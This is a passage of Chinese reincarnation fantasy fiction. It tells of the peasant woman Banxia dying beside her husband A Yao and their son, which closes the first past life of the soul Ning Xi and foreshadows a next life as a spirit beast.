    这一世与阿曜的相遇、相知、相守,或许并非纯粹的偶然。阿曜的相貌,阿曜带给她的那种灵魂深处的悸动与安宁,或许正是她灵魂深处对某个存在刻骨铭心的记忆与眷恋,在进入这场名为“轮回”的漫长旅程时,留下的最深刻印记。是那份跨越了生死界限、时空阻隔、甚至可能超越了“宁惜”这个存在本身的、最深的执念与爱恋,在轮回法则的牵引下,化作的吸引与指引。


    她爱的,是眼前这个为她倾尽所有、质朴深情的猎户阿曜,爱他的温暖,爱他的担当,爱他们共同拥有的平凡点滴。但最初吸引她的灵魂走向他的,或许正是那份源自更久远、更深刻命运的、无法磨灭的灵魂共鸣与呼唤。


    “阿曜……”她轻声开口,声音因久病和虚弱而沙哑微弱,气若游丝。


    “我在,半夏,我在这里。”阿曜立刻凑得更近,双手将她的手紧紧包裹,贴在自己粗糙温热的脸颊上。半夏感觉到有温热的液体滴落在自己的手背上。


    “对不起啊……”她努力集中逐渐涣散的视线,望着丈夫布满血丝却依旧明亮的眼睛,“这辈子……拖累你了……让你……吃了这么多苦……”


    阿曜拼命摇头,泪水夺眶而出,声音哽咽得几乎说不出完整的话:“没有!你没有拖累我!是我没本事,没能让你过上好日子,没能治好你的病……半夏,你别胡说,你会好的,我们说好的,要一起看着平安长大,看着他娶妻生子,我们还要一起变老……”


    半夏轻轻摇了摇头,目光温柔而眷恋地,缓缓掠过丈夫悲痛的脸,儿子懵懂却依恋的眼,最后,投向窗外那片被阳光照得金黄透亮的、高远湛蓝的秋日天空。天空那么广阔,那么自由,仿佛能容纳世间所有的悲欢离合。


    “我好像……做了很长很长的一个梦……”她喃喃地说,气息越来越弱,眼神开始有些涣散,却又奇异地闪烁着某种了悟般的光,“梦里……有红色的花……像火……有白色的花……像雪……它们开在一起……很漂亮……还有一个人……一直在等我……在很远……很远的地方……”


    阿曜紧紧握着她的手,将脸颊埋在她的掌心,肩膀剧烈地耸动,泣不成声。


    “阿曜……”半夏用尽最后一丝力气,指尖在他掌心极其轻微地动了一下,仿佛想最后一次描摹他的轮廓,“如果……真的有下辈子……”


    她的眼睛渐渐失去焦距,瞳孔中倒映着窗外那片纯净的蓝天,声音低微得如同风中残烛的最后一点火星:


    “我……还想……遇见你……”


    “平安……我的平安……要听爹爹的话……好好……长大……”


    最后一个字音,如同秋叶飘落地面般轻悄,消散在午后温暖的阳光里。


    她握着阿曜的手,轻轻垂落。那双总是沉静温和、盛满了对家人爱意的眼眸,缓缓地、安然地合上。蜡黄消瘦的脸上,痛苦的神色似乎悄然褪去,嘴角甚至微微上扬,留下一丝极淡的、释然而又充满无尽眷恋的微笑。


    阳光依旧暖暖地透过窗棂,照在她安详的睡颜上,照在阿曜剧烈颤抖的脊背上,照在平安茫然无措的小脸上。屋外,秋风拂过山林,带来几片枯黄的落叶,和几声不知名秋虫最后的、微弱的残鸣。


    溪谷村边,青山坳旁,一个平凡农女半夏的一生,在这个秋日宁静的午后,走到了终点。她如同山间一株默默生长的半夏草,尝过了清贫生活的苦涩,也品味了质朴爱情的甘甜,经历了孕育新生的喜悦,也承受了病痛缠身的折磨,最终,在她所爱之人的陪伴与泪水中,归于大地,归于永恒的宁静。


    而在她意识彻底消散、灵魂即将脱离这具枯竭的躯壳、被无形的轮回法则牵引着、飘飘荡荡飞向上方那片温暖阳光与湛蓝天空(那只是灵魂离体时的感知假象)的瞬间——


    一点微不可察、细若尘埃、却蕴含着奇异生灭气息的、红白两色交织的细小光芒,自她灵魂的最核心处,悄然闪现,又旋即隐没。


    仿佛一台精密的记录仪,将这一世所有的欢笑与泪水、收获与失去、平淡的温暖与刻骨的别离、那份名为“半夏”的完整人生体验与情感烙印,一丝不差地,铭刻进了那点光芒之中,融入了宁惜那正在三条轮回河流中沉浮、等待汇聚的、破碎的灵魂本源深处。


    第一世轮回,农女半夏的故事,终结。


    但宁惜的灵魂之旅,远未结束。属于“农女半夏”的这份平凡而深刻的体验,如同第一块拼图,悄然归位。等待着他的,将是下一段更加迥异、更加野性、也更加残酷的——魂兽生涯。